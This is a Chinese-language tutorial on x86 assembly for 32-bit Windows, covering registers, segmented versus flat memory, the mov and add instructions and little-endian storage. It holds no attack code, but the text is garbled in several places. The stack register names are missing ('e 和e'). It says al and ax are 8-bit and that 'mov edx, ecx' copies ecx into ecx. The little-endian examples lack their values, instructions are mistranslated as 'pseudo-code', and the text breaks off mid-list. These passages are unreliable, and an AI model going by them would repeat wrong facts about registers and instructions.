Add指令把两个数加到一起。大部分伪代码有参数
ADD eax, edx
ADD有两个参数。在加法的情况下,一个源一个目标。它把源值加到目标值中,并把结果保存在目标中。参数有很多不同的类型:寄存器,内存地址,直接数值(immediate values)参见下文。
3.2-寄存器
有几种大小的寄存器:8位,16位,32位(在MMX处理器中有更多)。在16位程序中,你仅能使用16位和8位的寄存器。在32位的程序中,你可以使用32位的寄存器。
一些寄存器是别的寄存器的一部分:例如,如果EAX保存了值EA7823BBh这里是其他寄存器的值。
EAX EA 78 23 BB
AX EA 78 23 BB
AH EA 78 23 BB
AL EA 78 23 BB
ax,ah,al是eax的一部分。eax是一个32位的寄存器(仅在386以上存在),ax包含了eax的低16位(2字节),ah包含了ax的高字节,而al包含了ax的低字节。因而ax是16位的,al和ax是8位的。在上面的例子中,这些是那些寄存器的值:
eax = EA7823BB (32-bit)
ax = 23BB (16-bit)
ah = 23 (8-bit)
al = BB (8-bit)
使用寄存器的例子(不要管那些伪代码,只看寄存器的说明)
mov eax, 12345678h
;Mov把一个值载入寄存器(注意:12345678h是一个十六进制值,因为h这个后缀。
mov cl, ah
;把ax的高字节移入cl
sub cl, 10
;从cl的值中减去10(十进制)
mov al, cl
;并把cl存入eax的最低字节
让我们来分析上面的代码:
mov指令可以把一个值从寄存器,内存和直接数值移入另一个寄存器。在上面的例子中,eax包含了12345678h,然后ah的值(eax左数第三个字节)被复制入了cl中(ecx寄存器的最低字节)。然后,cl减10并移回al中(eax的最低字节)
寄存器的不同类型:
全功能(General Purpose)
这些32位(它们的组成部分为16/8位)寄存器可以用来做任何事情:
eax (ax/ah/al) 加法器
ebx (bx/bh/bl) 基(base)
ecx (cx/ch/cl) 计数器
edx (dx/dh/dl) 数据
虽然它们有名字,但是你可以用它们做任何事。
段(Segment)寄存器
段寄存器定义了哪一段内存被使用。你可能在win32asm中用不着它们,因为windows有一个平坦(flat)的内存系统。在Dos中,内存被分为 64kb的段,因而如果你想要定一个内存地址。你指定一个段,并用一个offset(偏移址)(像0172:0500(segment: offset))。在windows中,段有4GB的大小,所以你在Windows中不需要段。段总是16位寄存器。
CS 代码段
DS 数据段
SS 栈段
ES 扩展段
FS (only 286+) 全功能段
GS (only 386+) 全功能段
指针寄存器
实际上,你可以把指针寄存器当作全功能寄存器来使用(除了eip),只要你保存并恢复它们的原始值。指针寄存器之所以这么叫是因为它们经常被用来存储内存地址。一些伪代码(movb,sca 等)也要用它们。
esi (si) 源索引
edi (di) 目标索引
eip (ip) 指令指针
eip(在16位编程中为ip)包含了指向处理器将要执行的下一条指令的指针。因而你不能把eip当作全功能寄存器来用。
栈寄存器
有2个栈寄存器:e 和e 。e 装有内存中当前栈的位置(在下章中,对此有更多的内容)。E 在函数中被用成指向局部变量的指针。
e ( ) 栈指针
e ( ) 基(base)指针
4.0-内存
这部分将解释在Windows中内存是如何被管理的。
4.1-Dos和Win3.xx
在运行于Dos和Win3.xx的16位程序中,内存被分成许多个段。这些段的大小为64kb。为了存储内存,需要一个段指针和一个偏移址指针。段指针标明要使用的是哪个段,offset(偏移址)指针标明在段位置。看下图:
段 1 (64kb) 段 2 (64kb) 段 3 (64kb) 段 4(64kb) 更多
注意下面关于16位程序的解释,后面有更多关于32位的内容(但不要跳过这部分,要理解32位的内存管理,这部分很重要)上表是全部的内存,被划分成了多个64kb的段。最多有65536个段。现在取出一段:
段 1(64kb)
Offset 1 Offset 2 Offset 3 Offset 4 Offset 5 更多
为了指向段中的位置,需要使用offset。一个offset是段内部的一个位置。每个段最多有65536个offset。内存中地址的记法是:
SEGMENT:OFFSET
例如:
0030:4012(均为16进制)
它的意思是:段30,offset4012。为了查看那个地址中有什么。你先要到段30,然后到该段的offset4012。在前一章中,你已经学过了段和指针寄存器。例如,段寄存器有:
CS 代码段
DS 数据段
SS 栈段
ES 扩展段
FS (only 286+) 全功能段
GS (only 386+) 全功能段
顾名思义:代码段(CS)包括了当前的代码执行到了哪部分。数据段是用来标明在哪段中取出数据。栈指栈段(后面有更多)。ES,FS, GS是全功能的寄存器,并且可以用于任何段(虽然在Windows中不是如此)。
指针寄存器大多数时装有offset,但全功能寄存器(ax, bx, cx, dx等)也可以这么用。IP标明当前指令执行到了哪个offset。Sp保存了当前栈的在 (栈段中)的offset。
4.2-32位Windows
你可能已经注意到了关于段的一切是乏味的。在16位编程中,段是必不可少的。幸运的是,这个问题已经在32位Windows(95及以上)中得到解决。你仍然有段,但不用管他们了因为它们不再是64kb,而是4GB。你如果尝试着改变段寄存器中的一个,windows甚至会崩溃。这称为平坦(flat)内存模式。只有offset,而且是32位的,因而范围从0到4,294,967,295。内存中的每一个地址都是用offset表示的。这真是32位胜于 16位的最大优点。所以,你现在可以忘了段寄存器并把精神集中在其他的寄存器上。
5.0-伪代码
伪代码是给处理器的指令,它实际上是原始十六进制代码的可读版。因此,汇编是最低级的编程语言。汇编中的所有东西被直接翻译为十六进制码。换句话说,你没有把高级语言翻译为低级语言的编译器上的烦恼,汇编器仅仅把汇编代码转化为原始数据。
本章将讨论一些用来运算,位操作等的伪代码。还有跳转指令,比较等伪代码在后面介绍。
5.1-一些基本的计算伪代码
这条指令用来把一个地方移往(事实上是复制到)另一个地方。这个地方可以是寄存器,内存地址或是直接数值(当然只能作为源值)。Mov指令的语法是:
mov 目标,源
你可把一个寄存器移往另一个(注意指令是在复制那个值到目标中,尽管“mov”这个名字是移的意思)
mov edx, ecx
上面的这条指令把ecx的内容复制到了ecx中,源和目标的大小应该一致。例如这个指令是非法的:
mov al, ecx;非法
这条伪代码试图把一个DWORD(32位)值装入一个字节(8位)的寄存器中。这不能个由mov指令来完成(有其他的指令干这事)。但这些指令是允许的因为源和目标在大小上并没有什么不同:
mov al, bl
mov cl, dl
mov cx, dx
mov ecx, ebx
内存地址由offset指示(在win32中,前一章中有更多信息)你也能从地址的某一个地方获得一个值并把它放入一个寄存器中。下面有一个例子:
offset 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42
data 0D 0A 50 32 44 57 25 7A 5E 72 EF 7D FF AD C7
每一个块代表一个字节
offset 的值这里是用字节的形式表示的,但它事实上是32位的值,比如3A(这不是一个常见的offset的值,但如果不这样简写表格装不下),这也是一个32位的值:0000003Ah。只是为了节省空间,使用了一些不常见的低位offset。所有的值均为16进制。
看上表的offset 3A。那个offset的数据是25, 7A, 5E, 72, EF等。例如,要把这个位于3A的值用mov放入寄存器中:
mov eax, dword ptr[0000003Ah]
(h后缀表明这是一个十六进制值)
mov eax, dword ptr[0000003Ah]这条指令的意思是:把位于内存地址3A的DWORD大小的值放入eax寄存器。执行了这条指令后,eax包含了值 725E7A25h。可能你注意到了这是在内存中时的反转结果:25 7A 5E 72。这是因为存储在内存中的值使用了little endian格式。这意味着越靠右的字节位数越高:字节顺序被反转了。我想一些例子可以使你把这个搞清楚。
十六进制dword(32位)值放在内存中时是这样:40, 30, 20, 10(每个值占一个字节(8位))
十六进制word(16位)值放在内存中时是这样:50, 40
回到前面的例子。你也可以对其他大小的值这么做:
mov cl, byte ptr [34h] ; cl得到值0Dh(参考上表)
mov dx, word ptr [3Eh] ; dx将得到值 7DEFh (看上表,记住反序)
大小有时不是必须的。
Mov eax,[00403045h]
因为eax是32位寄存器,编译器假定(也只能这么做)它应该从地址403045(十六进制)取个32位的值。
可以直接使用数值:
mov edx, 5006
这只是使得edx寄存器装有值5006,综括号[和]用来从括号间的内存地址处取值,没有括号就只是这个值。寄存器和内存地址也可以(他应该是32位程序中的32位寄存器):
mov eax,403045h;使eax装有值403045h(十六进制)
mov cx,[eax];把位于内存地址eax的word大小的值(403045)移入cx寄存器。
在mov cx, [eax]中,处理器会先查看eax装有什么值(=内存地址),然后在那个内存地址中有什么值,并把这个word(16位,因为目标-cx-是个16位寄存器)移入cx。
ADD, SUB, MUL, DIV
许多伪代码做计算工作。你可以猜出它们中的大多数的名字:add(加),sub(减),mul(乘),div(除)等。
Add伪代码有如下语法:
Add 目标,源
执行的运算是 目标=目标+源。下面的格式是允许的。
目标 源 例子
Register Register add ecx, edx
Register Memory add ecx, dword ptr [104h] / add ecx, [edx]
Register Immediate value add eax, 102
Memory Immediate value add dword ptr [401231h], 80
Memory Register add dword ptr [401231h], edx
这条指令非常简单。它只是把源值加到目标值中并把结果保存在目标中。其他的数学指令有:

参考资料

 

随机推荐